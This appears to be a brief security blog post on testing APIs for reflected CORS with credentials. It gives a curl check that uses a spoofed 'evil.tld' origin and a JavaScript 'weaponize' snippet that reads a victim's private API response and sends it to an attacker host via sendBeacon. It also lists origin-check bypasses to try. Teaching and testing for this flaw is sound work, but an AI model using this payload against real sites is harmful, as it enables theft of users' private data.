Reflected CORS with credentials for data theft

May 26, 2026 · 1 min read

The dangerous combination is an Access-Control-Allow-Origin that mirrors the request Origin together with Access-Control-Allow-Credentials: true. Any page can then read the victim’s private API data.

bash

curl -s -I https://api.target/me -H 'Origin: https://evil.tld' | grep -i access-control
# Access-Control-Allow-Origin: https://evil.tld
# Access-Control-Allow-Credentials: true

Weaponize from an attacker page.

javascript

fetch('https://api.target/me',{credentials:'include'})
  .then(r=>r.text()).then(d=>navigator.sendBeacon('https://evil.tld/x',d));

Pro note: also test null origin (sandboxed iframe) and weak suffix checks like target.com.evil.tld. If credentials are not allowed, the finding is usually informational, so prove the response contains session-scoped data before reporting.